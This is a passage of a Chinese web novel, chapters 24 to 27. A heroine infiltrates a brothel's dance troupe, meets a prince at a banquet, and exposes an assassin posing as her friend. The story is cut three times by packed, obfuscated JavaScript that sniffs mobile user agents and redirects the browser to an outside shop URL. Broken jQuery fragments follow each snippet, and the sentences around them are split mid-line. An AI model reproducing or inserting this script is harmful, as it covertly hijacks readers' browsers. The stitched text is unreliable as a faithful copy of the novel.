“紫鸾姐姐放心，我定不误各位。只是不知，哪位姐姐好心愿意带我一带。”
众人闻言，大家你看看我，我瞧瞧你，却无一人愿意接顾静娴的话。
紫鸾又想出言嘲讽，可身后却传来一人的声音。
“既然无人，那就由我带殷娘子吧。”
这声音顾静娴识得，便是那日清晨之时被周元霜拒之门外的青央。
见有人自请带顾静娴，紫鸾心中不爽，她没好气道：“青央，你还当真是个老好人。也罢，你既自告奋勇就好好带她，若是惹得上头不满，小心引火上身。”她又对着其余七位道，“咱们去别的地方练，这地就让给这两个人，省得耽误咱们自己。”
等她们离去，青央上前安慰顾静娴，“别往心中去，紫鸾人就这样。”
顾静娴神色从容地点点头，若无其事般道：“多谢青央姐姐宽慰，未来几日我可得劳烦姐姐了。”
“这有什么，”青央摆摆手，随后露出一副要说不说的神色。她沉声片刻，还是问道，“元霜她……如何了？”
“好多了，青央姐姐放宽心便是。”
青央颔首，她又站着静静思量，俄顷后才开始教导顾静娴。
·
等学完舞，已至戌时四刻。
待回到楼中，顾静娴先去了周元霜的房中。
周元霜见顾静娴回来，询问道：“这么晚了，怎么不去休息还往我这跑。”
顾静娴走近周元霜身侧，“虽要练舞，可也不能耽误了姐姐的身子，每日一次行针可不能断了。”
“这几日施针后，我这身子便比寻常觉得有力些，我真不知该如何感谢。”周元霜解开上衫，她背身伏在床上。
顾静娴拿出银针，扎入一根后笑道：“你我如今似亲姐妹，既是亲姐妹，周姐姐又何故说这些话。”
周元霜淡淡笑了一声，不再接话。
四周很静，几根银针扎入周元霜身子后，她额间缓缓冒出汗珠，心头也没来由的感觉丝丝躁意，一双手不自觉地握成拳头。
等顾静娴将针扎入所需扎的穴位时，周元霜全身都已被汗水包裹。
颗颗汗珠似精致的珍珠，镶在周元霜的身上般。
周元霜心中烦躁之意愈演愈烈，她忍不住开口询问：“怎么今日这针，要比前几日要怪些。”
顾静娴解释道：“姐姐前几日的身子虚不受补，遂今日施得是能为姐姐固气的穴位。可当下姐姐已大病初愈，这次施针，是为了能彻底将病气从姐姐身上驱逐。”
周元霜只紧皱眉头，她紧咬唇间，不再发一言。
过了一炷香的时间，顾静娴将所有银针拔除之后，床垫已完全被周元霜的汗水浸湿。
顾静娴倒了一杯水，她搀扶着周元霜，服侍其喝下后又道：“此次施针之后，姐姐觉得身子疲累是正常之态，等静缓一日，元气归位，姐姐的病就会更好些。”
此时的周元霜已无力回话，她只虚弱地点点头，便累得昏睡过去。
24. 夺位
舞室内，一盏紫铜麒麟香炉静静地吐出云纹般的香烟。日落西斜，一日苦练后，室内略带室闷，彼此席地而坐，幽静无声。
不久后青央带着顾静娴行进此处，众人闻声纷纷看过来。
紫鸾不屑道：“不是叫你们自个儿去练，怎么还来这？”
顾静娴凝视着紫鸾，肃然道：“你们前几日所学的，我已会了。”
“我们这些人足足学了三天的舞，不过一日你便会了？”紫鸾不信，她黑眸微冷，扫视了顾静娴一番。
青央搭腔，“殷娘子天赋异禀学得极快，确实是会了。”
“空口无凭，”紫鸾眼底填满冷意，“既然会了，不如舞上一段。”
顾静娴同青央对视一眼，青央点了点头，眸子中透露出对顾静娴的信任。
她们所练之舞，为京中数年前大热的一支盘鼓舞。此舞乃前朝宁贵妃所编，最大的特色便是舞者与一方小小的鼓面上作舞，彰显体态轻盈之美。
此舞在顾静娴幼时便曾学过，因而青央不过在某几个动作上指导一下。
紫鸾本着看顾静娴出丑的心态，她环臂胸前，一副高傲的样子。
可这副高傲的样子不过一会，便转为错愕。
除了其余几位近几日所练得这段，顾静娴还往后接着跳。
直到有鼓掌声起，顾静娴才停了舞姿。
这掌声不来自青央，也不来自紫鸾，更不来自其余六位。
而是门口站着的一位妇人，她凝目看着顾静娴，微笑着走上前来。
“娘子腰肢柔软，当真作出了轻盈之态，”那妇人夸赞起顾静娴，随后朝着紫鸾和她身后的几位娘子，“诸位还得勤加练习，若都及这位娘子的功夫，想必这舞必定能让诸位大人眼前一亮。”
紫鸾一双柳叶眉蹙起，略带不服道：“寻梅姑姑，我们哪儿又比不上她了？”
被唤寻梅的夫人睨了一眼紫鸾，语气疏离道：“我知你心高气傲，可是紫鸾，技不如人需得承认。正所谓，知不足，才方可有所长进。”
寻梅平日里掌管舞房，各位都尊称一声姑姑，紫鸾心中即便再气，她也只敢暗自恼怒，不敢出言不逊。
青央看着紫鸾吃瘪的样子，她轻言浅笑道：“姑姑言之有理，我们诸位都记下了。”
寻梅颔首，又看了看几位娘子，随后道：“宴会在即，诸位又练了这么些天，先跳一舞给我瞧瞧，若又不足之处，我再为你们指点一二。”
话音一落，原本坐在地上的几位娘子起了身子，等她们站好，紫鸾便往正中心走去。
顾静娴只练了一天，还未曾和几位排过位置，便只得站在最边上。
奏乐声缓缓升起，九位娘子的腰肢如婀娜多姿的垂柳，她们一双玉手又似生动的蝴蝶，足间于鼓面上轻踏，鼓声融入奏乐声中，更增美感。
寻梅看着诸位，众位红色纱衣中的女子中，唯独一位身着淡青色的姑娘尤为起眼。
顾静娴轻舒长袖，以右脚为轴，娇躯随之转动，而后立于鼓面之上，翩然起舞。
自打开始，寻梅的眼睛就未曾从顾静娴身上移开。
站在最中心的紫鸾注意到了这点，她寻着寻梅的目光看去，就见顾静娴轻盈灵动，似蝴蝶，犹碧玉。
她心中愤恨，正因这心中的波澜，她脚下突然不稳，就摔下鼓去。
紫鸾一倒，其余几位也停下了动作。
寻梅叹了口气，斥责起紫鸾，“舞者，最忌讳分神。这一旦分神，便就顾不住动作，更顾不住脚下。”
紫鸾被人搀扶，忙起身行礼，“姑姑，我错了。”
寻梅道：“所幸今日只是练习，若当真到了那日你还出差池，倒霉的可就不止你自己一人，这是要带着我整个舞坊下水。”
紫鸾自知理亏，只低着头。
忽然寻梅抬起了手，她指着顾静娴道：“这位娘子舞姿卓越，站在一边反倒惹眼，使得这队伍左重右轻。”她轻笑了两声，做了决定，“不妨就由你替紫鸾的位置，站在中间吧。”
自己最引以为豪的地方被占，紫鸾看向顾静娴，她紧紧抿着唇，眼底一片冷然。
寻梅又道：“庄中花已逐步盛开，方才我接到通知，说是花宴提前，就定在五日之后，诸位好生练着，明日我再来查看诸位的成果。”说罢，她便转身离去。
等寻梅的身影完全消失，紫鸾阔步走到顾静娴面前，她眉间黑压压地透着阴沉，眸底晦暗不明，更是冷得渗人。
“贱人。”
顾静娴直起腰来，直视紫鸾的目光。她不气反笑，“咱们身在此处，何故还要暗自争夺，互帮互助……”
可还未等她将话说完，紫鸾的巴掌便落在了脸上。
青央一惊，忙将顾静娴护在身后。
紫鸾这才稍微宽解了心中的气，“正是因为身处此地，才得争。若我不争不抢被赶出了这楼，再一不小心落到雅阶，你可知会落到什么下场！”
顾静娴揉了揉脸，她倒也不气紫鸾扇自己，紫鸾长年身处此地，有这样的想法也不足为奇。
终归，是被人性折磨成了如今这般样子。
“你今日夺了我的，他日等你落下高台，我定要你还回来！”紫鸾说完，头也不回地离去。
一日苦练，大伙也早已疲累，不多时就各自散去，霎时间这硕大的屋内就剩下顾静娴和青央二人。
青央替顾静娴看了看脸，思虑片刻后，还是劝解起来，“你也别怪紫鸾，她曾经有位知己，原也住在咱们莳花楼中，后来得罪了上头，就被赶了出来。”
顾静娴问：“之后呢？”
“在这得罪了上头的人，自然得不到什么好下场。听说，那人贬到雅阶后被折磨致死，最后尸骨又被卖出去，不知去何地何家配了冥婚。”
青央说到此处，明显一愣，她缓了缓，又道：“所以即使是死，也逃离不出这个魔窟，所以大家只得争，也只能去争。”
顾静娴心中哀叹了一声，“为了欲望和钱财，真是无所不用其极。”
青央拉住顾静娴的手，她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174136|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
环顾四周，压低了声音道：“我看你与孟夫人有关系，定是可以逃出此处，求你帮帮我，我……我想回家。”
闻言，顾静娴心中颇为触动，她环住青央的手，安慰道：“一有机会，我会替你问问。时候不早，咱们回去吧。”
走回楼中时，一种无法言说的压迫感如同一块厚重的岩石压在顾静娴胸口，叫她喘不过气来。
临别前，青央又拉住顾静娴的手，她附耳道：“我前日给你提的醒，你要注意。”
顾静娴轻点了头，以只有两人能够听清的音量回道：“多谢提醒，我定当注意。”
二人分别后，顾静娴独自回了房中，还未等其关上门，周元霜忽然拦住了门。
“妹妹回来了，”周元霜面上盈盈笑着，“今日舞练得怎样？方才我听见紫鸾的哭声，你们被寻梅姑姑给训了？”
顾静娴摇了摇头，拉着周元霜进屋内，顾静娴边走边道：“是因我得了寻梅姑姑的赏识，占了紫鸾原先的位置。”
周元霜淡笑了一声，待坐下又道：“妹妹到底有多少惊喜是我不知道的，一会弹琴，二会行医，这三么，居然还会跳舞，难怪你能得孟夫人的赏识。”
顾静娴只拾起桌上的梅子，含了一个在嘴中。
周元霜特意压低了声音，问道：“再过五日就是花宴了，你说带我出逃，可是有法子了？”
“不瞒姐姐说，”顾静娴看向周元霜，一双眸子由晴转阴，“我还没有万全之策。”
周元霜愣了一愣，也露出一副惆怅的模样，“不怪你，想从这里逃，确实不易。”
说罢，她起身道：“你练舞劳累，我就不在这叨扰你了。”
“姐姐且慢，”顾静娴叫住她，“我看姐姐已好多了，可既来我了这，不妨再让妹妹替姐姐行一次针。”
周元霜身子微微一顿，“我已全然好了，妹妹劳累，不如休息吧。”
“你我姐妹何须客气？”说罢，顾静娴又拉着周元霜坐下，自顾取来了银针，为周元霜施针。
这一次顾静娴只往周元霜的手中施针，虽两手只五枚针，可周元霜仍旧冒了许多虚汗。
待施针结束，顾静娴又替周元霜把了把脉。
她会心一笑，“想来这次行针之后，姐姐就可全然大好了。”
·
五日功夫转瞬即逝，顾静娴虽占了紫鸾的位置，可为了顾全大局，紫鸾这几日也未曾发作，只静静配合。
庄内百花盛开，华灯初上，随着铜管乐起，众管家子弟陆陆续续行进庄子。
朱华庭和姜松打趣道：“这赏花宴怎不设在白日，夜间赏花，哪里瞧得清？”
姜松似笑非笑，“王爷这就错了，白日赏花有白日的趣味，这夜间赏得花呀，那就另有一番滋味啊。”
朱华庭清楚姜松在暗指什么，赏花宴是真，可这花，恐怕不是寻常所见的花。
他淡笑一声，“那本王定要好好观赏。”
等贵客都进了庄子，一小厮高喊道：“花楼娘子献舞！”
25. 入怀
朱华庭被引到主位正坐，其余地方官则按照品级高低依次入座。
歌舞升平之中，一群舞女衣袂飘飘。
珠帘低垂，绫罗绸缎随风而动，各类珍馐香气袭人。
姜松起身为朱华庭斟酒，略带试探道：“王爷，可合您的口味？”
朱华庭眼眸一闪，他看着姜松，不多时后唇角上扬，带着几分戏谑道：“这等好地，怎么不早带本王来。”
见对方满意，姜松脸上微露喜色，他眉开眼笑道：“王爷来此，自得好生招待。”
说罢，他拍了拍手，奏乐声便戛然而止，台上诸位舞姬也停了舞蹈快步退下。
一片云雾缭绕之后，屋内的灯被灭了几盏，原本明亮的大殿霎时间暗淡下来。
丝竹乐轻起，几位姑娘提了黄花灯行至台上。
不多时后，又有几位身着红纱裙的姑娘轻盈入场，她们戴着面纱，唯露出一双眼睛，若隐若无的面庞使得官员们心中平添了几丝好奇之意。
以面纱遮面的想法是顾静娴提的，如今她顶着姜云绾的脸，到底是不好直接在姜松和姜云炳面前露面的。
寻梅倒是不解地问过，“娘子们何不打扮的艳丽些，给大人们瞧？”
顾静娴道：“大人们什么美人不曾见过，半遮面或许更能引起大人们的注意。”
寻梅觉得有道理，这就采纳了顾静娴的提议。
几声金鼓声响彻殿内，舞女们立于鼓面之上翩翩起舞。她们轻击鼓面传出来的鼓声与古琴铮铮之音交织在一起，使得官员们阵阵惊呼。
朱华庭的目光紧锁着站在最中心的顾静娴，她曼妙的舞姿犹如一朵绵软的白云渐渐舒展，一边旋转又一边轻轻地跃起，如仙如幻，一时间看醉于此。
这支舞……
他曾见过的。
自己的二妹妹最喜跳舞，因此她常日里就总是待在升平殿中。
那日下了晚课，他曾路过那里，一不小心间便听得两位姑娘嬉笑打闹的声音。
“你这里跳得不对，我再给你示范一遍，你看我的。”二公主朱华柔的声音传来。
而后她翩翩起舞，边舞边对着身边人说，“你得这样跳，可记住了？”
顾静娴看得出神，她浅笑一声，“记住了。”
朱华柔道：“那你再试着跳一次，我再替你指点指点。父皇的天长节，咱们这支舞定要惊艳全场！”
顾静娴谨遵公主旨意，又仿学着方才朱华柔的样子舞了起来。
朱华庭就一直站在窗户看，看里面的人儿于舞池中央翩翩起舞，宛如一朵盛开的白莲，裙摆随着旋律摆动，又宛如在风中婀娜的舞姿。
看着看着，他不经笑出了声。
里头的人听到笑声，原本扭动着的身姿突然止住。
朱华柔气汹汹地冲到门开将门打开，“是谁，胆敢在此偷看本公主跳舞！”
幸得朱华庭机敏，他躲至一旁墙角，等朱华柔进屋重新将门给关上，他才松口气。
自己这妹妹千好万好，唯独她在舞蹈之时不可轻易打扰。今日若被发现，不知该如何安慰赔偿。
临走前，朱华庭又往身后看了一眼。
顾静娴在他眼中，就似神山之明月。
神山不可得，明月亦不可得。
音乐声渐渐落了下去，几位娘子微微欠了欠身。
紫鸾道：“诸位大人请移步湖心亭，我等还有一支舞要为诸位大人献上。”
姜松饮了杯酒，恭请道：“王爷，请吧，莫负了美人们的心意。”
朱华庭道：“姜大人请。”
众人便出了屋内，由着几位娘子在前头引路，不多时后就来到一片莲池旁。
月华凝聚池中，如星河般璀璨。莲花与莲叶犹如一对壁人，相拥于池中。
波光粼粼，宛如万点碎金。
待众人坐定，娘子们也立于点位之上。寻梅拍了拍手，轻声道：“诸位，请吧。”
乐声如潺潺流水，传入观舞者耳中，有人不禁赞叹，当真是翩如兰苕翠，婉若游龙举。
唯独坐在姜松身旁的姜云炳坐不住，他久未来此，如今心中念着想着的便是自己的宝贝元霜。
待舞过半场，他实在是按耐不住性子，就趁着无人注意，悄悄地离了席间。
可再如何悄默声，朱华庭也注意到了他的一举一动，他朝着剑来看了一眼，剑来领其意思，便也神不知鬼不觉地跟上姜云炳。
顾静娴虽身在舞蹈，可她的心却早已飞在朱华庭身上。无奈此处人多眼杂，自己也没机会和他透露消息。
正分神时，却不知谁人在后头重重地撞了她一下。
顿时，她足间不稳，眼见着就要往池中倾倒。
池水彻骨，顾静娴心中猛地一惊。
可下一刻，她却被一个宽厚的胸膛怀抱。
顾静娴的半张脸被埋在胸前，她鼻端闻到熟悉的味道，同那夜马车陷入泥坑欲要跌倒之时所撞入的怀中……一样的味道。
她抬头看去，映入眼帘的是一张犹如玉雕的俊脸。
他鼻高唇薄，面如冠玉。一双丹凤眼中闪着光彩，好似润玉上微微透出的一点荧光，柔软又温润。
姜松站起身子，他命人屏退在场的其他官员和舞娘，嘿嘿笑着吩咐人替朱华庭和他怀中这位娘子准备间上等的屋子。
紫鸾原想让顾静娴在众人面前出丑，可谁知机缘巧合之下，竟将她推入了贵客的怀中。
她懊恼地跺了跺脚，随后跟着旁的人一同离开。
霎时间，整个莲池之中只剩下顾静娴和朱华庭二人。
顾静娴一张脸不知何时起泛起微红，她从朱华庭的怀中脱身出来，理了理衣袖。
朱华庭的目光不安地四处游走。
二人站在此处良久，不知该如何打破僵局时，就见一嬷嬷上前引路，“王爷，娘子，屋子已经备好，二位请随老奴来吧。”
朱华庭的耳朵瞬间变红，他笑容略微僵硬，也知此时正是同顾静娴交换消息的好时候，便伸手将顾静娴揽入怀中，笑道：“有劳了。”
顾静娴倏地又被揽入怀中，一下子只作低头状。
她也不知自己为何如此，总之，她脑中如今一团
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182950|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乱麻。
·
给两位准备的屋子在莳花楼中，里面一片红罗帘帐。地上红毯一眼望不着头，在上头又撒着漫天的花瓣，有红有粉，不知道者，当真会以为此处是个婚房。
嬷嬷将人带进屋中，随后乖觉地退身出来，她却不急着走，只附身在门上，静听着里头的一举一动。
朱华庭朝着门旁使了个眼色，示意顾静娴人还未走，不要随意说话。
顾静娴看着那个微弱的人影，她咬了咬牙，带着些许娇媚之意道：“让奴家为您宽衣吧。”
说出这话时，她十分想狠狠地给自己两个耳光。
可做戏做全套，为了让人查不出纰漏，她只得如此。
等褪了最外头的披风，顾静娴又往门旁瞧了一眼，那身影非但没走，似乎还与门贴得更近了。
无奈，她只得又褪去朱华庭身上的一件衣服，可直到朱华庭身上只剩下一件里衣，再脱无可脱，那婆子还未离去，顾静娴只得低着头呆呆地站着。
朱华庭面颊早已发烫，他的鼻尖不断地冒出细微的汗珠。
他双唇紧紧地抿着，最后咬了咬牙，将顾静娴打横抱起。
朱华庭的发髻微微松了，几缕碎发低垂落在顾静娴脸上，就如一只小猫的爪子，在她的脸上轻轻地挠了一挠。
不知觉间，一丝脂粉之气闯进朱华庭的鼻尖。
这味道他很熟悉，那夜在皇宫的假山之上，他曾在顾静娴为他诊脉之时所覆他手上的帕子上，闻见过。
他一双眸子睁得很大，只静静地低头看着顾静娴。
顾静娴被他这一瞧，心底莫名生出些许不自在来，她别过头去，轻声道：“你要做什么，快，快放我下来。”
“嘘。”朱华庭做噤声状，不知觉间，他的喉结却不自觉的上下浮动。
直到走到床榻边，他才将顾静娴放下，随后故作大声道：“我要做什么，自然是想让你……”
“行乐”二字到底是难脱他口，他话锋一转，变为“陪陪我”。
门外的嬷嬷也是听得心潮澎湃，她这才心满意足地转身离去，急着要去和姜松汇报。
顾静娴看到人影渐渐远去，压着声音道：“她……她走了。”
因顾静娴只身着一身纱裙，朱华庭为其盖上被子，随后于床边坐下，背对着顾静娴。
屋内沉默之气中略带着几丝尴尬的味道，朱华庭时而望向窗子，时而望向桌台。
良久后，他道：“你进来数日，可有什么发现？”
顾静娴道：“你要好好背着身子，不许转过来。”
“好。”朱华庭应允之后，索性将一双眸子也给紧紧闭上。
但他仍能感知在自己身后的女子在宽衣解带，他忍不住轻轻道：“那婆子……不是已经走了吗……？”
身后之人良久无声，只知她又动了几下，就将手腕搭在他的肩上。
朱华庭缓缓睁眼，他向自己的右肩膀看去，就见顾静娴一只白皙的手上握着一卷东西。
顾静娴清了清嗓子，“这东西给你，这里可不似咱们想得那么简单。”
26. 同处
朱华庭伸手接过，将其打开，里头画着的赫然是一座古楼的结构。
他抬眼看向顾静娴道：“莳花楼？”
顾静娴点了点头，“正是。”随后又伸出手指点了点第六层楼的西侧间，“周元霜就住在这间屋子中，只是……”
朱华庭听出顾静娴语气中的犹豫，他道：“有所不妥？”
顾静娴点了点头，她解释道：“只不过……我心中也说不出些所以然来。”
朱华庭静静地看着手中的图纸，不久后他又转身盯着顾静娴看，他问道：“此行救援，凶险万分，你可后悔？”
要想从这里逃出去，确实是有所困难。
顾静娴闻言，她微微一笑，“既来了，就无退路可言。”
朱华庭心中饶有好奇，“你又为何非要来此？”
顾静娴并未立刻接话，她看向桌台上燃烧的红烛，那顺着蜡烛缓缓留下来的红蜡油，仿佛顾家灭门一景又重现她眼前。
她心中暗流涌动，随即正色道：“周姐姐是我不能弃之不顾的朋友，我自当带她出去亲自灭了姜家，以报灭门之仇。”
朱华庭久久地看着顾静娴，随即道：“周娘子有你这朋友，当真是此生之幸。此番，我必定护你周全，助你救出她。”
不等顾静娴回话，朱华庭又道：“我已派剑来前去探查，今夜子时，会有官兵从东西两侧潜行进山，到时你前去周元霜的屋子中，咱们以烟花为号，里应外合。”
说完，又似想起什么，她一双眸子深邃紧紧地与顾静娴相对，“我给你的匕首削铁如泥，护好自己，一切当以自己为先。”
顾静娴颔首，静静道：“放心，我自有对策。”
可不止怎的，她心底不知为何泛起一阵涟漪。
她深吸了一口气，随后慢慢地吐出，心中这才平缓了些。
顾静娴询问道：“我给你的药，都有按时吃？”
朱华庭一双眼睛盯着图纸看，“为了活命，自当遵守医嘱。”
“你也要小心。”
“嗯？”朱华庭微微一愣。
顾静娴并不明白自己为何会鬼使神差地说出这话，找补道：“若你出事了，这里官官勾结，怕是无人能为我们申屈了。”
朱华庭一时讷讷，随后神色从容道：“放心，除了你们有冤，顾家的冤我也得解决了。”
顾静娴眼底掠过一抹惊讶，她问：“顾家的冤屈，你何故如此放在心上？”
朱华庭缓缓抬起头，他回道：“顾家与我，与我母后，都有恩。”
父辈与大内的关系，顾静娴只知其中一二，并不知全貌，她迷茫道：“原来如此。”
“不过我心中确实好奇，”朱华庭又重新看向顾静娴，“你是怎知，我此番来淮州是为了替顾家报仇？”
这回轮到顾静娴不敢看朱华庭的眼睛，她一双手紧紧握着被子，“姜松这些年并未犯什么大事，唯独一件，就是大义灭亲，诬告顾家卖官鬻爵。”
“诬告？”朱华庭听出些不对劲。
顾静娴心中一惊，“王爷是大内皇长子，若顾家当真如姜松所言，你自不会前来。可你来了，就说明顾家一事有所不对之处。”
朱华庭还想再问，却被扣门声打断。
他忙坐回床上，抚上顾静娴的肩，二人便往床上倒去。
“王爷，开门，是我。”
是剑来。
朱华庭轻咳了几声，复又坐起，他替顾静娴盖好被子后才道：“进来。”
“吱嘎”一声，门被打开，剑来急忙走上，作揖道：“这庄子的一切我都探查了，这是红绡给的舆图。”说罢，他也递上一张图纸。
朱华庭接过将其打开，剑来指着一处道：“我巡了一遍庄子，唯独此处看守不严，若事出有变，咱们可以从这出逃。”
剑来平日里看着呆呆傻傻，可办起事情来却深得朱华庭的信任，“就照你说得办。”
“得嘞！”被主子肯定，剑来顿展笑颜。
方才为了汇报事情，他没注意细瞧，如今定睛一看，自己的主子衣衫单薄，又有一美人在床！
他指了指朱华庭，又指了指顾静娴，带着不敢相信的语气道：“你……你们！”
朱华庭冷冷地看了他一眼，打断了他心中略显龌龊的想法，“要做戏就要做圆了。”
剑来不好意思地挠了挠头，“哦……”
“我让你跟姜云炳，可有什么发现？”
剑来一双眼睛突然变得有神起来，“险些忘了！这事……我没办好。”
朱华庭露出疑问的表情。
剑来忙道：“我原本跟着他的，可等他进了这楼中后，我就只得趴在窗子上看。本还看着他在一楼溜达，可转眼间他就不见了。我原本想着，他会不会是去了别的楼层，或者是其他房间，可等我挨个爬窗把所有房间都偷看了，除了看到些香艳之景外，却终究不见姜云炳的身影，就好像凭空消失了一般。”
凭空消失？
朱华庭复又拿起顾静娴给得图纸细看起来，每层楼都无暗室。
剑来未曾看见他从楼中出去，这人必定还在楼中。
可究竟，会藏身在哪呢？
顾静娴问：“你去六楼时，也未曾看见？”
剑来点头答应，“未曾。”
“那六楼西厢房中可有一姑娘？”
剑来答：“有一位姑娘，可并无其他人。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192657|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>朱华庭问道：“你询问这做什么？”
“我只是好奇，”顾静娴道，“周元霜是姜云炳藏在这楼中的，平日里对她如饥似渴，这么久未来，怎么反倒不先去她的屋中。”
剑来道：“男人嘛，花心总是难免的。”他说完，贱兮兮地笑起来，仿佛自己不是男子般。
忽然外头传来惊呼声，“有贼，快捉贼啊！”
朱华庭行到衣架旁，快速为自己穿上衣服，对剑来道：“去瞧瞧。”
方要出门时，他却顿住脚步，转身又对顾静娴叮嘱起来，“你记住，万事小心为上，切莫伤了自己，那样反而不值当。”
剑来拉了拉朱华庭的衣袖，他贱兮兮道：“主子，你也关心关心我呗。”
“为您卖命这么多年，从来没见您这样对我说过。”
“主子，哎，哎哎哎，别走呀……等等我呀！”
·
等二人都走了，耳边只闻得其余屋子香艳之声。
顾静娴方要起身更衣，却闻门口处传来周元霜的声音，“妹妹。”
顾静娴下床的动作顿住，她抬头，望向周元霜，嘴角泛起一抹温柔的笑意，“周姐姐，你怎么来了？”
周元霜轻摇扇子，一步一步地走进屋子，直到桌前坐下。
一缕轻纱般的月光透过雕花窗棂，斑驳地洒在周元霜所坐之处。
她斟了两杯茶，对顾静娴呼唤道：“妹妹快过来坐，咱们姐妹好好聊聊方才你和那位王爷的事情。”
顾静娴嗅出一丝不同寻常，她小心谨慎地往桌边走去，随后同周元霜面对面地坐着。
周元霜似乎不满意这样的坐法，她提起一盏杯子，来到顾静娴身旁坐下。
她将那杯水递于顾静娴唇前，略带打趣道：“王爷的身子，可健硕？”
空气在周元霜说出这话后，又凝固了几分。
顾静娴道：“姐姐问这做什么。”
周元霜见其不愿意回答，又问：“在此处行此等乐事，妹妹可还想出逃？”
二人眼神交锋，顾静娴一双眼眸如利剑出鞘，冷冽而锐利，“姐姐这话，是何意思？从这里逃出去，不也是你的心愿？”
周元霜大笑起来，犹如癫狂，“错了。”
她道：“这一直以来，都是你的心愿，而非我的。”
房间的气氛如拉满的弓，静谧得只剩呼吸声。
周元霜冷冷道：“你答不上来，是因为你同他根本没有行事，是吧？”
周元霜的眼神突然变得凌厉，手中的扇子不知何时悄然变成了一柄锋利的短刀，刀刃在阴冷的月光之下闪烁着寒光，直指顾静娴的心口。
“想从这里出去，唯有一死。”
27. 护身
“你果然是假的。”顾静娴静静地看着她，可一柄短剑直指她的胸前，生死面前，要说她心中不慌那才是假的。
持刀女子闻言，面上露出笑意，她道：“你在说些什么，我的好妹妹。”
她的唇角微微上扬，扯出一个极为诡异的弧度，仿佛恶鬼附身，要将顾静娴碎尸万段。
顾静娴心跳如鼓，她强装镇定地往后撤了一步，那女子也就跟上前一步。
“你和燕王是一伙的吧。”女子浅浅一笑，她慢慢靠近顾静娴的身侧，原本抵在顾静娴胸前的刀，由着那女子手臂弯曲，转而抵在了顾静娴脖前。
她贴着顾静娴的后背，步步追问道：“和他里应外合，想要救出周元霜。可如今你自身难保，又该如何？”
“你若是交出周娘子，我愿意一命抵一命。”
那女子听了这话，似来了兴致，她凑在顾静娴耳边，“妹妹春宵一刻就糊涂至此，我如今就站在你面前，你要让我如何交出？”
“即便你吃了再多的药，可脉象骗不了人。”顾静娴道。
女子轻轻挑了挑眉，露出不解之色。
“你的身子一开始时呈现的是虚不受补的脉象，可我不过几贴补药下去，元气便恢复大半，自打那时起，我就已知不对。你根本不是周元霜，而是姜云炳养在这里的暗卫，琼林。”
“这些，是青央和你说得吧，”琼林勾了勾嘴角，“我原以为你只知点皮毛而已，却不曾想还真是神医转世。可再怎么聪明又如何，如今伏在我的匕首之下，我看你还能玩出什么花样。”
顾静娴道：“你我同为女子，你何故要这样？”
琼林不屑道：“我生来，就是为主子效命的，男女之别与我何干？”
“你看着这里的女子与家人分别，被迫害致死，就未曾动过恻隐之心？”
“恻隐之心？”琼林觉得好笑，“我自打来这世间，就冠以死侍之名，这种东西与我而言，只是累赘。”她话锋一转，“不过我倒是很好奇，你既是燕王派来的，今日他是会选择救你，还是救周元霜？”
·
屋外，夜幕低垂，月隐星藏。玉帘庄内灯火通明，如狂风骤雨席卷，处处都是慌乱的脚步声和惊恐的呼喊。
一座屋子之上，一黑衣女子手持一柄匕首抵在官员脖颈之间，她眼神之中闪烁着嗜血的寒光。
有人想上前搭救，黑衣女子便将匕首尖端刺入那官员的脖间，霎时间，一滴鲜红的血珠缓缓滚落。
那官员吃痛，忙道：“退下，都退下！”
几名死侍手提着长剑，虎视眈眈地盯着那黑衣女子的一举一动。
朱华庭和剑来这时才从楼中行身出来，他抬眸看向那黑衣女子，女子手中紧握得那把匕首却十分眼熟。
正是他赠予顾静娴的那一把。
他又环顾起四周来，大大小小的官员站了一地，却不见姜松与姜云炳。
他顿感不妙，又询问起剑来，“红绡呢？”
剑来左顾右盼，方才还在此处的红绡却不见了踪迹，他轻声回道：“方才还在这，可要我去找她？”
朱华庭沉默片刻道：“不急。”
“燕王殿下。”一声凌冽的呼唤惹得众人侧目。
朱华庭循声往莳花楼看去，就看见顾静娴被一把泛着寒光的匕首抵着，白皙的肌肤之上已渗出一排血珠。
他不免心中一紧。
琼林的眼神阴鸷，露出一抹令人不寒而栗的笑，“姐妹们，都别藏着了。”
话音一落，几位原本混迹于人群之中的女子刹那间从腰间拔出一柄软剑，她们动作极快，眸光微动间，就将身侧的几位男子击倒在地。
剑来见状，从腰间将剑拔出，护在朱华庭身前。
朱华庭眸子微微一颤，这些被击倒的男子，正是他从各州之中借来的官兵。
方才混于人群之中的几位女子目的达到，轻功一跃，稳稳落于八边的屋瓦之上，犹如形成一张密不透风的网。
琼林狞笑道：“王爷的手下也不过如此嘛，不妨束手就擒，咱们好好吃酒享乐，共度春宵。”
